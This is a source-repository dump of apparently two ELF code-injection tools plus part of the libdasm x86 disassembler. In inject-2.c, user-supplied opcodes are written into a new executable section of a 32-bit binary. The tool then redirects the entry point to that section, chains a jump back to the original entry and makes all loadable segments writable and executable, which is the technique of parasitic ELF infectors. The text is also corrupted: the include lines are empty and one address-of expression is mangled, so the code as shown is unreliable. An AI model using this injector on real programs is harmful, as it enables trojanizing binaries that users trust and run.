621 | INFO("Loading ELF in memory...");
622 | ELF_load(&elf, argv[1]);
623 |
624 | ch_lst = CHUNKLST_new();
625 | in_lst = INSTRLST_new();
626 |
627 | INFO("Creating the CHUNKLST...");
628 | CHUNKLST_parseElf(ch_lst, &elf);
629 | INFO("CHUNKS: %u, TOTAL LENGTH: %u",
630 | CHUNKLST_length(ch_lst),
631 | CHUNKLST_totLength(ch_lst));
632 |
633 | INFO("Creating the INSTRLST...");
634 | INSTRLST_parseCode(in_lst, ch_lst, sc, sc_length);
635 |
636 | INFO("Old entry point : 0x%.8x", elf.ehdr->e_entry);
637 | INFO("Inserting code in ELF...");
638 | ELF_insCode(&elf, in_lst);
639 |
640 | INFO("New entry : 0x%.8x", elf.ehdr->e_entry);
641 |
642 | INFO("Inserted code INFO :");
643 | INSTRLST_print(in_lst);
644 |
645 | INFO("Freeing all structures...");
646 | ELF_unload(&elf);
647 | CHUNKLST_free(ch_lst);
648 | INSTRLST_free(in_lst);
649 |
650 | INFO("DONE.");
651 |
652 | return EXIT_SUCCESS;
653 | }
654 |
--------------------------------------------------------------------------------
/inject-2.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 |
13 | #define SYSCALL_ERROR(s) do { \
14 | fprintf(stderr, "%s:%d ", __FILE__, __LINE__); \
15 | perror(s); \
16 | exit(EXIT_FAILURE); \
17 | } while(0)
18 |
19 | #define ERROR(s) do { \
20 | fprintf(stderr, "%s:%d %s\n", __FILE__, __LINE__, s); \
21 | exit(EXIT_FAILURE); \
22 | } while(0)
23 |
24 | #define INFO(...) do { \
25 | fprintf(stdout, "[+] "); \
26 | fprintf(stdout, __VA_ARGS__); \
27 | fprintf(stdout, "\n"); \
28 | }while(0)
29 |
30 | #define JMP_LENGTH 5
31 | #define JMP_OPCODE 0xe9
32 |
33 | typedef struct Elf32_Sect
34 | {
35 | Elf32_Shdr shdr;
36 | uint8_t *data;
37 | }Elf32_Sect;
38 |
39 |
40 | typedef struct Elf32_File
41 | {
42 | Elf32_Ehdr *ehdr;
43 | Elf32_Phdr *phdr;
44 | Elf32_Sect *sections;
45 |
46 | }Elf32_File;
47 |
48 |
49 | /********************************************************************
50 | * ELF checking functions
51 | *******************************************************************/
52 | int check_magic(Elf32_File *file)
53 | {
54 | if(strncmp((char*)file->ehdr->e_ident, ELFMAG, SELFMAG))
55 | return 0;
56 |
57 | return 1;
58 | }
59 |
60 | int check_shname(Elf32_File *file, int sh)
61 | {
62 | int shname;
63 |
64 | shname = file->ehdr->e_shstrndx;
65 |
66 | if(shname < 0 || shname >= file->ehdr->e_shnum)
67 | return 0;
68 | if(file->sections[sh].shdr.sh_name >= file->sections[shname].shdr.sh_size)
69 | return 0;
70 |
71 | return 1;
72 | }
73 |
74 | /********************************************************************
75 | * misc ELF functions
76 | *******************************************************************/
77 | const char* section_name(Elf32_File *file, int sh)
78 | {
79 | int shname;
80 |
81 | shname = file->ehdr->e_shstrndx;
82 |
83 | if(!check_shname(file, sh))
84 | ERROR("Bad sh_name !");
85 |
86 | return (char*)(file->sections[shname].data + file->sections[sh].shdr.sh_name);
87 | }
88 |
89 | int get_section_id(Elf32_File *file, const char *shname)
90 | {
91 | int sh;
92 |
93 | for(sh = 0; sh < file->ehdr->e_shnum; sh++)
94 | {
95 | if(!strcmp(shname, section_name(file, sh)))
96 | return sh;
97 | }
98 | return -1;
99 | }
100 |
101 |
102 | /********************************************************************
103 | * Load functions
104 | *******************************************************************/
105 | static void load_ehdr(Elf32_File *file, int fd)
106 | {
107 | uint32_t size;
108 |
109 | size = sizeof(Elf32_Ehdr);
110 |
111 | if((file->ehdr = malloc(size)) == NULL)
112 | SYSCALL_ERROR("[-] malloc ");
113 |
114 | if(read(fd, file->ehdr, size) != (int)size)
115 | ERROR("Bad ELF !");
116 |
117 | if(!check_magic(file))
118 | ERROR("Not an ELF file !");
119 | }
120 |
121 | static void load_phdr(Elf32_File *file, int fd)
122 | {
123 | uint32_t size;
124 |
125 | size = sizeof(Elf32_Phdr) * file->ehdr->e_phnum;
126 |
127 | if((file->phdr = malloc(size)) == NULL)
128 | SYSCALL_ERROR("malloc ");
129 |
130 | if(lseek(fd, file->ehdr->e_phoff, SEEK_SET) < 0)
131 | SYSCALL_ERROR("lseek ");
132 |
133 | if(read(fd, file->phdr, size) != (int)size)
134 | ERROR("Bad ELF !");
135 | }
136 |
137 | static void load_sections(Elf32_File *file, int fd)
138 | {
139 | int i;
140 | uint32_t shdr_size, size;
141 |
142 | shdr_size = sizeof(Elf32_Shdr);
143 |
144 | if((file->sections = malloc(file->ehdr->e_shnum * sizeof(Elf32_Sect))) == NULL)
145 | SYSCALL_ERROR("malloc ");
146 |
147 | for(i = 0; i < file->ehdr->e_shnum; i++)
148 | {
149 | if(lseek(fd, file->ehdr->e_shoff + i*shdr_size, SEEK_SET) < 0)
150 | SYSCALL_ERROR("lseek ");
151 |
152 | if(read(fd, &file->sections[i].shdr, shdr_size) != (int)shdr_size)
153 | ERROR("Bad ELF !");
154 |
155 | if(file->sections[i].shdr.sh_type != SHT_NOBITS)
156 | {
157 | size = file->sections[i].shdr.sh_size;
158 |
159 | if((file->sections[i].data = malloc(size)) == NULL)
160 | SYSCALL_ERROR("malloc ");
161 |
162 | if(lseek(fd, file->sections[i].shdr.sh_offset, SEEK_SET) < 0)
163 | SYSCALL_ERROR("lseek ");
164 |
165 | if(read(fd, file->sections[i].data, size) != (int)size)
166 | ERROR("Bad ELF !");
167 | }
168 | else
169 | {
170 | file->sections[i].data = NULL;
171 | }
172 | }
173 | }
174 |
175 | Elf32_File* load_elf32(int fd)
176 | {
177 | Elf32_File *file;
178 |
179 | if((file = malloc(sizeof(Elf32_File))) == NULL)
180 | SYSCALL_ERROR("malloc ");
181 |
182 | load_ehdr(file, fd);
183 | load_phdr(file, fd);
184 | load_sections(file, fd);
185 |
186 | return file;
187 | }
188 |
189 | /********************************************************************
190 | * Free functions
191 | *******************************************************************/
192 | static void free_sections_data(Elf32_File *file)
193 | {
194 | int i;
195 |
196 | for(i = 0; i < file->ehdr->e_shnum; i++)
197 | {
198 | if(file->sections[i].data != NULL)
199 | free(file->sections[i].data);
200 | }
201 | }
202 |
203 | void free_elf32(Elf32_File *file)
204 | {
205 | free_sections_data(file);
206 | free(file->ehdr);
207 | free(file->phdr);
208 | free(file->sections);
209 | free(file);
210 | }
211 |
212 | /********************************************************************
213 | * Print (debug) functions
214 | *******************************************************************/
215 |
216 | void print_sections(Elf32_File *file)
217 | {
218 | int i;
219 |
220 | for(i = 0; i < file->ehdr->e_shnum; i++)
221 | {
222 | printf("[+] %-20s [%d] %#x -> %#x\n",
223 | section_name(file, i),
224 | i,
225 | file->sections[i].shdr.sh_offset,
226 | file->sections[i].shdr.sh_offset + file->sections[i].shdr.sh_size);
227 | }
228 | }
229 |
230 | void print_ehdr(Elf32_File *file)
231 | {
232 | printf("[+] [EHDR] %#x -> %#x\n",
233 | 0,
234 | sizeof(Elf32_Ehdr));
235 |
236 | printf("[+] [PHDR] %#x -> %#x\n",
237 | file->ehdr->e_phoff,
238 | file->ehdr->e_phoff + file->ehdr->e_phnum * sizeof(Elf32_Phdr));
239 |
240 | printf("[+] [SHDR] %#x -> %#x\n",
241 | file->ehdr->e_shoff,
242 | file->ehdr->e_shoff + file->ehdr->e_shnum * sizeof(Elf32_Shdr));
243 | printf("[+] [ENTRY] %#x\n",
244 | file->ehdr->e_entry);
245 | }
246 |
247 | /********************************************************************
248 | * Write functions
249 | *******************************************************************/
250 | void write_to_file(int fd, void *data, uint32_t size, uint32_t *off)
251 | {
252 | write(fd, data, size);
253 | *off += size;
254 | }
255 |
256 | void add_padding(int fd, uint32_t *start, uint32_t end)
257 | {
258 | char c = 0;
259 |
260 | while(*start < end)
261 | {
262 | write_to_file(fd, &c, 1, start);
263 | }
264 | }
265 |
266 | void write_sections(Elf32_File *file, uint32_t *offset, int fd)
267 | {
268 | int i;
269 |
270 | for(i = 0; i < file->ehdr->e_shnum; i++)
271 | {
272 | if(file->sections[i].shdr.sh_type != SHT_NOBITS)
273 | {
274 | add_padding(fd, offset, file->sections[i].shdr.sh_offset);
275 | write_to_file(fd, file->sections[i].data, file->sections[i].shdr.sh_size, offset);
276 | }
277 | }
278 | }
279 |
280 | void write_shdr(Elf32_File *file, uint32_t *offset, int fd)
281 | {
282 | int i;
283 |
284 | for(i = 0; i < file->ehdr->e_shnum; i++)
285 | {
286 | write_to_file(fd, &file->sections[i].shdr, sizeof(Elf32_Shdr), offset);
287 | }
288 | }
289 |
290 | void write_file(Elf32_File *file, int fd)
291 | {
292 | uint32_t offset;
293 |
294 | offset = 0;
295 |
296 | write_to_file(fd, file->ehdr, sizeof(Elf32_Ehdr), &offset);
297 |
298 | add_padding(fd, &offset, file->ehdr->e_phoff);
299 | write_to_file(fd, file->phdr, sizeof(Elf32_Phdr) * file->ehdr->e_phnum, &offset);
300 |
301 | write_sections(file, &offset, fd);
302 |
303 | add_padding(fd, &offset, file->ehdr->e_shoff);
304 | write_shdr(file, &offset, fd);
305 | }
306 |
307 |
308 | /********************************************************************
309 | * ELF (re)building functions
310 | *******************************************************************/
311 | int find_last_ptload(Elf32_File *file)
312 | {
313 | int i;
314 |
315 | for(i = 0; i < file->ehdr->e_phnum - 1; i++)
316 | {
317 | if(file->phdr[i].p_type == PT_LOAD)
318 | {
319 | if(file->phdr[i+1].p_type == PT_LOAD)
320 | {
321 | return i+1;
322 | }
323 | }
324 | }
325 | return -1;
326 | }
327 |
328 | int get_last_section(Elf32_File *file, int ph)
329 | {
330 | int i;
331 |
332 | for(i = 0; i < file->ehdr->e_shnum; i++)
333 | {
334 | if(file->sections[i].shdr.sh_addr + file->sections[i].shdr.sh_size >= file->phdr[ph].p_vaddr + file->phdr[ph].p_memsz)
335 | return i;
336 | }
337 | return -1;
338 | }
339 |
340 | int insert_section(Elf32_File *file, int sh, int ph, uint8_t *code,
341 | uint32_t length)
342 | {
343 | Elf32_Sect section;
344 |
345 | file->ehdr->e_shnum++;
346 |
347 | if((file->sections = realloc(file->sections, file->ehdr->e_shnum * sizeof(Elf32_Sect))) == NULL)
348 | SYSCALL_ERROR("realloc ");
349 |
350 | section.shdr.sh_name = 0;
351 | section.shdr.sh_type = SHT_PROGBITS;
352 | section.shdr.sh_flags = SHF_EXECINSTR | SHF_ALLOC;
353 | section.shdr.sh_offset = file->phdr[ph].p_offset + file->phdr[ph].p_memsz;
354 | section.shdr.sh_size = length + JMP_LENGTH;
355 | section.shdr.sh_link = 0;
356 | section.shdr.sh_info = 0;
357 | section.shdr.sh_addralign = 16;
358 | section.shdr.sh_entsize = 0;
359 | section.shdr.sh_addr = file->phdr[ph].p_vaddr + file->phdr[ph].p_memsz;
360 |
361 | printf("[+] New section %#.8x\n", section.shdr.sh_addr);
362 |
363 | if((section.data = malloc(length + JMP_LENGTH)) == NULL)
364 | SYSCALL_ERROR("malloc ");
365 |
366 | memcpy(section.data, code, length);
367 | memmove(file->sections + sh + 2, file->sections + sh + 1, sizeof(Elf32_Sect)*
368 | (file->ehdr->e_shnum - sh-2));
369 |
370 | memcpy(file->sections + sh + 1, §ion, sizeof(Elf32_Sect));
371 |
372 | return sh + 1;
373 | }
374 |
375 | void update_segment_size(Elf32_File *file, int ph, uint32_t codesize)
376 | {
377 | file->phdr[ph].p_memsz += codesize + JMP_LENGTH;
378 | file->phdr[ph].p_filesz = file->phdr[ph].p_memsz;
379 | }
380 |
381 | void update_e_entry(Elf32_File *file, int sh, uint32_t codesize)
382 | {
383 | uint32_t last_entry;
384 | int32_t jmp;
385 | uint8_t jmp_code[JMP_LENGTH];
386 |
387 | jmp_code[0] = JMP_OPCODE;
388 |
389 | last_entry = file->ehdr->e_entry;
390 | file->ehdr->e_entry = file->sections[sh].shdr.sh_addr;
391 |
392 | jmp = last_entry - (file->ehdr->e_entry + codesize + JMP_LENGTH);
393 |
394 | memcpy(jmp_code+1, &jmp, 4);
395 | memcpy(file->sections[sh].data + codesize, jmp_code, JMP_LENGTH);
396 | }
397 |
398 | void update_sections_offset(Elf32_File *file, int sh)
399 | {
400 | int i;
401 |
402 | for(i = sh; i < file->ehdr->e_shnum-1; i++)
403 | {
404 | file->sections[i+1].shdr.sh_offset = file->sections[i].shdr.sh_offset +
405 | file->sections[i].shdr.sh_size;
406 | }
407 |
408 | if(file->ehdr->e_shstrndx > sh)
409 | file->ehdr->e_shstrndx++;
410 | }
411 |
412 | void update_shdr_offset(Elf32_File *file)
413 | {
414 | int shnum;
415 |
416 | shnum = file->ehdr->e_shnum;
417 |
418 | file->ehdr->e_shoff = file->sections[shnum-1].shdr.sh_offset +
419 | file->sections[shnum-1].shdr.sh_size;
420 | }
421 |
422 | void update_segments_perm(Elf32_File *file)
423 | {
424 | int i;
425 |
426 | for(i = 0; i < file->ehdr->e_phnum; i++)
427 | {
428 | if(file->phdr[i].p_type == PT_LOAD)
429 | {
430 | file->phdr[i].p_flags = PF_X | PF_W | PF_R;
431 | }
432 | }
433 | }
434 |
435 | void insert_code(Elf32_File *file, uint8_t *code, uint32_t length)
436 | {
437 | int sh, ph;
438 |
439 | if((ph = find_last_ptload(file)) < 0)
440 | ERROR("Can't find the segment !");
441 |
442 | if((sh = get_last_section(file, ph)) < 0)
443 | ERROR("Can't find the section !");
444 |
445 | sh = insert_section(file, sh, ph, code, length);
446 | update_segment_size(file, ph, length);
447 | update_segments_perm(file);
448 | update_e_entry(file, sh, length);
449 | update_sections_offset(file, sh);
450 | update_shdr_offset(file);
451 | }
452 |
453 |
454 | /* Convert 'a' -> 10 */
455 | int hex_to_dec(int c) {
456 | if(isdigit(c))
457 | return c - '0';
458 | if(c >= 'a' && c <= 'f')
459 | return (c - 'a') + 10;
460 | if(c >= 'A' && c <= 'F')
461 | return (c - 'A') + 10;
462 |
463 | return -1;
464 | }
465 |
466 | /* Test if char is in range [0-9a-fA-F] */
467 | int is_hexa_char(int c) {
468 | return (isdigit(c)
469 | || (c >= 'a' && c <= 'f')
470 | || (c >= 'A' && c <= 'F'));
471 | }
472 |
473 | /* Convert "\x0a\x2c..." to raw data */
474 | uint8_t* opcodes_to_data(char *str, uint32_t *length) {
475 | int i;
476 | uint8_t *data;
477 |
478 | i = 0;
479 | if((data = malloc(strlen(str) + 1)) == NULL)
480 | return NULL;
481 |
482 | while(*str != '\0') {
483 | if(str[0] == '\\' && str[1] == 'x') {
484 | if(is_hexa_char(str[2]) && is_hexa_char(str[3])) {
485 | data[i] = hex_to_dec(str[2]) * 16;
486 | data[i] += hex_to_dec(str[3]);
487 | str += 3;
488 | }
489 | } else {
490 | data[i] = *str;
491 | }
492 | str++;
493 | i++;
494 | }
495 | *length = i;
496 | return data;
497 | }
498 |
499 | int main(int argc, char **argv)
500 | {
501 | uint8_t *code;
502 | uint32_t length;
503 | Elf32_File *file;
504 | int fd;
505 |
506 | if(argc != 3)
507 | {
508 | printf("Usage : %s \n", argv[0]);
509 | exit(EXIT_FAILURE);
510 | }
511 |
512 | code = opcodes_to_data(argv[2], &length);
513 |
514 | printf("[+] Loading %s in memory...\n", argv[1]);
515 | if((fd = open(argv[1], O_RDONLY)) < 0)
516 | SYSCALL_ERROR("open ");
517 |
518 | file = load_elf32(fd);
519 |
520 | close(fd);
521 |
522 | printf("[+] Inserting code...\n");
523 | insert_code(file, code, length);
524 |
525 | printf("[+] Rewriting binary...\n");
526 | if((fd = open(argv[1], O_WRONLY)) < 0)
527 | SYSCALL_ERROR("open ");
528 |
529 | write_file(file, fd);
530 |
531 | close(fd);
532 |
533 | print_sections(file);
534 | print_ehdr(file);
535 | printf("[+] DONE.\n");
536 |
537 | free_elf32(file);
538 |
539 |
540 | return EXIT_SUCCESS;
541 | }
542 |
--------------------------------------------------------------------------------
/lib/libdasm.c:
--------------------------------------------------------------------------------
1 |
2 | /*
3 | * libdasm -- simple x86 disassembly library
4 | * (c) 2004 - 2006 jt / nologin.org
5 | *
6 | * libdasm.c:
7 | * This file contains most code of libdasm. Check out
8 | * libdasm.h for function definitions.
9 | *
10 | */
11 |
12 | #include
13 | #include
14 | #include "libdasm.h"
15 | #include "opcode_tables.h"
16 |
17 |
18 | // Endianess conversion routines (thanks Ero)
19 |
20 | __inline__ BYTE FETCH8(BYTE *addr) {
21 | // So far byte cast seems to work on all tested platforms
22 | return *(BYTE *)addr;
23 | }
24 |
25 | __inline__ WORD FETCH16(BYTE *addr) {
26 | #if defined __X86__
27 | // Direct cast only for x86
28 | return *(WORD *)addr;
29 | #else
30 | // Revert to memcpy
31 | WORD val;
32 | memcpy(&val, addr, 2);
33 | #if defined __LITTLE_ENDIAN__
34 | return val;
35 | #else
36 | return ((val & 0xff00) >> 8) |
37 | ((val & 0x00ff) << 8);
38 |
39 | #endif // __LITTLE_ENDIAN__
40 | #endif // __X86__
41 | }
42 |
43 | __inline__ DWORD FETCH32(BYTE *addr) {
44 | #if defined __X86__
45 | return *(DWORD *)addr;
46 | #else
47 | DWORD val;
48 | memcpy(&val, addr, 4);
49 | #if defined __LITTLE_ENDIAN__
50 | return val;
51 | #else
52 | return ((val & (0xff000000)) >> 24) |
53 | ((val & (0x00ff0000)) >> 8) |
54 | ((val & (0x0000ff00)) << 8) |
55 | ((val & (0x000000ff)) << 24);
56 |
57 | #endif // __LITTLE_ENDIAN__
58 | #endif // __X86__
59 | }
60 |
61 | // Check for address/operand size override
62 |
63 | __inline__ enum Mode MODE_CHECK_ADDR(enum Mode mode, int flags) {
64 | if (((mode == MODE_32) && (MASK_PREFIX_ADDR(flags) == 0)) ||
65 | ((mode == MODE_16) && (MASK_PREFIX_ADDR(flags) == 1)))
66 | return MODE_32;
67 | else
68 | return MODE_16;
69 | }
70 | __inline__ enum Mode MODE_CHECK_OPERAND(enum Mode mode, int flags) {
71 | if (((mode == MODE_32) && (MASK_PREFIX_OPERAND(flags) == 0)) ||
72 | ((mode == MODE_16) && (MASK_PREFIX_OPERAND(flags) == 1)))
73 | return MODE_32;
74 | else
75 | return MODE_16;
76 | }
77 |
78 |
79 | // Parse 2 and 3-byte opcodes
80 |
81 | int get_real_instruction2(BYTE *addr, int *flags) {
82 | switch (*addr) {
83 |
84 | // opcode extensions for 2-byte opcodes
85 | case 0x00:
86 | // Clear extension
87 | *flags &= 0xffffff00;
88 | *flags |= EXT_G6;
89 | break;
90 | case 0x01:
91 | *flags &= 0xffffff00;
92 | *flags |= EXT_G7;
93 | break;
94 | case 0x71:
95 | *flags &= 0xffffff00;
96 | *flags |= EXT_GC;
97 | break;
98 | case 0x72:
99 | *flags &= 0xffffff00;
100 | *flags |= EXT_GD;
101 | break;
102 | case 0x73:
103 | *flags &= 0xffffff00;
104 | *flags |= EXT_GE;
105 | break;
106 | case 0xae:
107 | *flags &= 0xffffff00;
108 | *flags |= EXT_GF;
109 | break;
110 | case 0xba:
111 | *flags &= 0xffffff00;
112 | *flags |= EXT_G8;
113 | break;
114 | case 0xc7:
115 | *flags &= 0xffffff00;
116 | *flags |= EXT_G9;
117 | break;
118 | default:
119 | break;
120 | }
121 | return 0;
122 | }
123 |
124 | // Parse instruction flags, get opcode index
125 |
126 | int get_real_instruction(BYTE *addr, int *index, int *flags) {
127 | switch (*addr) {
128 |
129 | // 2-byte opcode
130 | case 0x0f:
131 | *index += 1;
132 | *flags |= EXT_T2;
133 | break;
134 |
135 | // Prefix group 2
136 | case 0x2e:
137 | *index += 1;
138 | // Clear previous flags from same group (undefined effect)
139 | *flags &= 0xff00ffff;
140 | *flags |= PREFIX_CS_OVERRIDE;
141 | get_real_instruction(addr + 1, index, flags);
142 | break;
143 | case 0x36:
144 | *index += 1;
145 | *flags &= 0xff00ffff;
146 | *flags |= PREFIX_SS_OVERRIDE;
147 | get_real_instruction(addr + 1, index, flags);
148 | break;
149 | case 0x3e:
150 | *index += 1;
151 | *flags &= 0xff00ffff;
152 | *flags |= PREFIX_DS_OVERRIDE;
153 | get_real_instruction(addr + 1, index, flags);
154 | break;
155 | case 0x26:
156 | *index += 1;
157 | *flags &= 0xff00ffff;
158 | *flags |= PREFIX_ES_OVERRIDE;
159 | get_real_instruction(addr + 1, index, flags);
160 | break;
161 | case 0x64:
162 | *index += 1;
163 | *flags &= 0xff00ffff;
164 | *flags |= PREFIX_FS_OVERRIDE;
165 | get_real_instruction(addr + 1, index, flags);
166 | break;
167 | case 0x65:
168 | *index += 1;
169 | *flags &= 0xff00ffff;
170 | *flags |= PREFIX_GS_OVERRIDE;
171 | get_real_instruction(addr + 1, index, flags);
172 | break;
173 | // Prefix group 3 or 3-byte opcode
174 | case 0x66:
175 | // Do not clear flags from the same group!!!!
176 | *index += 1;
177 | *flags |= PREFIX_OPERAND_SIZE_OVERRIDE;
178 | get_real_instruction(addr + 1, index, flags);
179 | break;
180 | // Prefix group 4
181 | case 0x67:
182 | // Do not clear flags from the same group!!!!
183 | *index += 1;
184 | *flags |= PREFIX_ADDR_SIZE_OVERRIDE;
185 | get_real_instruction(addr + 1, index, flags);
186 | break;
187 |
188 | // Extension group 1
189 | case 0x80:
190 | *flags |= EXT_G1_1;
191 | break;
192 | case 0x81:
193 | *flags |= EXT_G1_2;
194 | break;
195 | case 0x82:
196 | *flags |= EXT_G1_1;
197 | break;
198 | case 0x83:
199 | *flags |= EXT_G1_3;
200 | break;
201 |
202 | // Extension group 2
203 | case 0xc0:
204 | *flags |= EXT_G2_1;
205 | break;
206 | case 0xc1:
207 | *flags |= EXT_G2_2;
208 | break;
209 | case 0xd0:
210 | *flags |= EXT_G2_3;
211 | break;
212 | case 0xd1:
213 | *flags |= EXT_G2_4;
214 | break;
215 | case 0xd2:
216 | *flags |= EXT_G2_5;
217 | break;
218 | case 0xd3:
219 | *flags |= EXT_G2_6;
220 | break;
221 |
222 | // Escape to co-processor
223 | case 0xd8:
224 | case 0xd9:
225 | case 0xda:
226 | case 0xdb:
227 | case 0xdc:
228 | case 0xdd:
229 | case 0xde:
230 | case 0xdf:
231 | *index += 1;
232 | *flags |= EXT_CP;
233 | break;
234 |
235 | // Prefix group 1 or 3-byte opcode
236 | case 0xf0:
237 | *index += 1;
238 | *flags &= 0x00ffffff;
239 | *flags |= PREFIX_LOCK;
240 | get_real_instruction(addr + 1, index, flags);
241 | break;
242 | case 0xf2:
243 | *index += 1;
244 | *flags &= 0x00ffffff;
245 | *flags |= PREFIX_REPNE;
246 | get_real_instruction(addr + 1, index, flags);
247 | break;
248 | case 0xf3:
249 | *index += 1;
250 | *flags &= 0x00ffffff;
251 | *flags |= PREFIX_REP;
252 | get_real_instruction(addr + 1, index, flags);
253 | break;
254 |
255 | // Extension group 3
256 | case 0xf6:
257 | *flags |= EXT_G3_1;
258 | break;
259 | case 0xf7:
260 | *flags |= EXT_G3_2;
261 | break;
262 |
263 | // Extension group 4
264 | case 0xfe:
265 | *flags |= EXT_G4;
266 | break;
267 |
268 | // Extension group 5
269 | case 0xff:
270 | *flags |= EXT_G5;
271 | break;
272 | default:
273 | break;
274 | }
275 | return 0;
276 | }
277 |
278 | // Parse operand and fill OPERAND structure
279 |
280 | /*
281 | * This function is quite complex.. I'm not perfectly happy
282 | * with the logic yet. Anyway, the idea is to
283 | *
284 | * - check out modrm and sib
285 | * - based on modrm/sib and addressing method (AM_X),
286 | * figure out the operand members and fill the struct
287 | *
288 | */
289 | int get_operand(PINST inst, int oflags, PINSTRUCTION instruction,
290 | POPERAND op, BYTE *data, int offset, enum Mode mode, int iflags) {
291 | BYTE *addr = data + offset;
292 | int index = 0, sib = 0, scale = 0;
293 | int reg = REG_NOP;
294 | int basereg = REG_NOP;
295 | int indexreg = REG_NOP;
296 | int dispbytes = 0;
297 | enum Mode pmode;
298 |
299 | // Is this valid operand?
300 | if (oflags == FLAGS_NONE) {
301 | op->type = OPERAND_TYPE_NONE;
302 | return 1;
303 | }
304 | // Copy flags
305 | op->flags = oflags;
306 |
307 | // Set operand registers
308 | op->reg = REG_NOP;
309 | op->basereg = REG_NOP;
310 | op->indexreg = REG_NOP;
311 |
312 | // Offsets
313 | op->dispoffset = 0;
314 | op->immoffset = 0;
315 |
316 | // Parse modrm and sib
317 | if (inst->modrm) {
318 | pmode = MODE_CHECK_ADDR(mode, iflags);
319 |
320 | // Update length only once!
321 | if (!instruction->length) {
322 | instruction->modrm = *addr;
323 | instruction->length += 1;
324 | }
325 | // Register
326 | reg = MASK_MODRM_REG(*addr);
327 |
328 | // Displacement bytes
329 | // SIB can also specify additional displacement, see below
330 | if (MASK_MODRM_MOD(*addr) == 0) {
331 | if ((pmode == MODE_32) && (MASK_MODRM_RM(*addr) == REG_EBP))
332 | dispbytes = 4;
333 | if ((pmode == MODE_16) && (MASK_MODRM_RM(*addr) == REG_ESI))
334 | dispbytes = 2;
335 | } else if (MASK_MODRM_MOD(*addr) == 1) {
336 | dispbytes = 1;
337 |
338 | } else if (MASK_MODRM_MOD(*addr) == 2) {
339 | dispbytes = (pmode == MODE_32) ? 4 : 2;
340 | }
341 | // Base and index registers
342 |
343 | // 32-bit mode
344 | if (pmode == MODE_32) {
345 | if ((MASK_MODRM_RM(*addr) == REG_ESP) &&
346 | (MASK_MODRM_MOD(*addr) != 3)) {
347 | sib = 1;
348 | instruction->sib = *(addr + 1);
349 |
350 | // Update length only once!
351 | if (instruction->length == 1) {
352 | instruction->sib = *(addr + 1);
353 | instruction->length += 1;
354 | }
355 | basereg = MASK_SIB_BASE( *(addr + 1));
356 | indexreg = MASK_SIB_INDEX(*(addr + 1));
357 | scale = MASK_SIB_SCALE(*(addr + 1)) * 2;
358 | // Fix scale *8
359 | if (scale == 6)
360 | scale += 2;
361 |
362 | // Special case where base=ebp and MOD = 0
363 | if ((basereg == REG_EBP) && !MASK_MODRM_MOD(*addr)) {
364 | basereg = REG_NOP;
365 | dispbytes = 4;
366 | }
367 | if (indexreg == REG_ESP)
368 | indexreg = REG_NOP;
369 | } else {
370 | if (!MASK_MODRM_MOD(*addr) && (MASK_MODRM_RM(*addr) == REG_EBP))
371 | basereg = REG_NOP;
372 | else
373 | basereg = MASK_MODRM_RM(*addr);
374 | }
375 | // 16-bit
376 | } else {
377 | switch (MASK_MODRM_RM(*addr)) {
378 | case 0:
379 | basereg = REG_EBX;
380 | indexreg = REG_ESI;
381 | break;
382 | case 1:
383 | basereg = REG_EBX;
384 | indexreg = REG_EDI;
385 | break;
386 | case 2:
387 | basereg = REG_EBP;
388 | indexreg = REG_ESI;
389 | break;
390 | case 3:
391 | basereg = REG_EBP;
392 | indexreg = REG_EDI;
393 | break;
394 | case 4:
395 | basereg = REG_ESI;
396 | indexreg = REG_NOP;
397 | break;
398 | case 5:
399 | basereg = REG_EDI;
400 | indexreg = REG_NOP;
401 | break;
402 | case 6:
403 | if (!MASK_MODRM_MOD(*addr))
404 | basereg = REG_NOP;
405 | else
406 | basereg = REG_EBP;
407 | indexreg = REG_NOP;
408 | break;
409 | case 7:
410 | basereg = REG_EBX;
411 | indexreg = REG_NOP;
412 | break;
413 | }
414 | if (MASK_MODRM_MOD(*addr) == 3) {
415 | basereg = MASK_MODRM_RM(*addr);
416 | indexreg = REG_NOP;
417 | }
418 | }
419 | }
420 |
421 | // Operand addressing method -specific parsing
422 | switch (MASK_AM(oflags)) {
423 |
424 | // Register encoded in instruction
425 | case AM_REG:
426 | op->type = OPERAND_TYPE_REGISTER;
427 | op->reg = MASK_REG(oflags);
428 | break;
429 |
430 | // Register indirect encoded in instruction
431 | case AM_IND:
432 | op->type = OPERAND_TYPE_MEMORY;
433 | op->basereg = MASK_REG(oflags);
434 | break;
435 |
436 | // Register/memory encoded in MODRM
437 | case AM_M:
438 | if (MASK_MODRM_MOD(*addr) == 3)
439 | return 0;
440 | goto skip_rest;
441 | case AM_R:
442 | if (MASK_MODRM_MOD(*addr) != 3)
443 | return 0;
444 | skip_rest:
445 | case AM_Q:
446 | case AM_W:
447 | case AM_E:
448 | op->type = OPERAND_TYPE_MEMORY;
449 | op->dispbytes = dispbytes;
450 | instruction->dispbytes = dispbytes;
451 | op->basereg = basereg;
452 | op->indexreg = indexreg;
453 | op->scale = scale;
454 |
455 | index = (sib) ? 1 : 0;
456 | if (dispbytes)
457 | op->dispoffset = index + 1 + offset;
458 | switch (dispbytes) {
459 | case 0:
460 | break;
461 | case 1:
462 | op->displacement = FETCH8(addr + 1 + index);
463 | // Always sign-extend
464 | if (op->displacement >= 0x80)
465 | op->displacement |= 0xffffff00;
466 | break;
467 | case 2:
468 | op->displacement = FETCH16(addr + 1 + index);
469 | break;
470 | case 4:
471 | op->displacement = FETCH32(addr + 1 + index);
472 | break;
473 | }
474 |
475 | // MODRM defines register
476 | if ((basereg != REG_NOP) && (MASK_MODRM_MOD(*addr) == 3)) {
477 | op->type = OPERAND_TYPE_REGISTER;
478 | op->reg = basereg;
479 | }
480 | break;
481 |
482 | // Immediate byte 1 encoded in instruction
483 | case AM_I1:
484 | op->type = OPERAND_TYPE_IMMEDIATE;
485 | op->immbytes = 1;
486 | op->immediate = 1;
487 | break;
488 | // Immediate value
489 | case AM_J:
490 | op->type = OPERAND_TYPE_IMMEDIATE;
491 | // Always sign-extend
492 | oflags |= F_s;
493 | case AM_I:
494 | op->type = OPERAND_TYPE_IMMEDIATE;
495 | index = (inst->modrm) ? 1 : 0;
496 | index += (sib) ? 1 : 0;
497 | index += instruction->immbytes;
498 | index += instruction->dispbytes;
499 | op->immoffset = index + offset;
500 |
501 | // check mode
502 | mode = MODE_CHECK_OPERAND(mode, iflags);
503 |
504 | switch (MASK_OT(oflags)) {
505 | case OT_b:
506 | op->immbytes = 1;
507 | op->immediate = FETCH8(addr + index);
508 | if ((op->immediate >= 0x80) &&
